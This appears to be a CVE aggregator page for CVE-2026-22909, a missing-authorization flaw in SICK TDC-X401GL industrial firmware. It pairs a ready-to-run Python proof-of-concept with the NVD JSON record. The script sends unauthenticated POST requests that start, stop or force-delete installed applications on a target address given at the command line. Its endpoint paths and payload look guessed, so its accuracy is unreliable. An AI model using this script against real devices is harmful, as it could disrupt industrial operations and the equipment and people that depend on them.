CVE-2026-22909

# CVE-2026-22909 PoC - 未授权系统功能访问 # 适用于SICK工业自动化产品 import requests import argparse def exploit_cve_2026_22909(target_ip, target_port=443, action='status'): """ CVE-2026-22909 Exploitation PoC Action options: status, start, stop, delete """ base_url = f"https://{target_ip}:{target_port}" # Vulnerable endpoint - system functions without authentication endpoints = { 'status': '/api/system/status', 'start': '/api/system/process/start', 'stop': '/api/system/process/stop', 'delete': '/api/system/app/delete' } if action not in endpoints: print(f"[-] Invalid action. Choose from: {list(endpoints.keys())}") return # Crafting the malicious request without authentication headers headers = { 'Content-Type': 'application/json', 'User-Agent': 'CVE-2026-22909-PoC' } # Payload for system function access payload = { 'app_id': 'any_installed_application', 'force': True } print(f"[*] Targeting: {target_ip}:{target_port}") print(f"[*] Action: {action}") print(f"[*] Sending request to {endpoints[action]}...") try: response = requests.post( f"{base_url}{endpoints[action]}", json=payload, headers=headers, verify=False, timeout=10 ) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text}") if response.status_code in [200, 201]: print("[!] VULNERABLE - System function accessed without authentication") else: print("[-] Possibly patched or not vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2026-22909 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', default=443, type=int, help='Target port') parser.add_argument('-a', '--action', default='status', choices=['status', 'start', 'stop', 'delete'], help='System function to execute') args = parser.parse_args() exploit_cve_2026_22909(args.target, args.port, args.action)

{"cve": {"id": "CVE-2026-22909", "sourceIdentifier": "[email protected]", "published": "2026-01-15T13:16:05.537", "lastModified": "2026-01-23T15:46:11.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Certain system functions may be accessed without proper authorization, allowing attackers to start, stop, or delete installed applications, potentially disrupting system operations."}, {"lang": "es", "value": "Ciertas funciones del sistema pueden ser accedidas sin la debida autorización, permitiendo a los atacantes iniciar, detener o eliminar aplicaciones instaladas, interrumpiendo potencialmente las operaciones del sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sick:tdc-x401gl_firmware:*:*:*:*:*:*:*:*", "matchCriteriaId": "59BB5012-A895-4A93-B36F-A062A9389DB1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sick:tdc-x401gl:-:*:*:*:*:*:*:*", "matchCriteriaId": "9A95E220-0816-4885-AB7C-D0BB6F27DB7A"}]}]}], "references": [{"url": "https://sick.com/psirt", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://www.first.org/cvss/calculator/3.1", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2026/sca-2026-0001.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2026/sca-2026-0001.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf", "source": "[email protected]", "tags": ["Product"]}]}}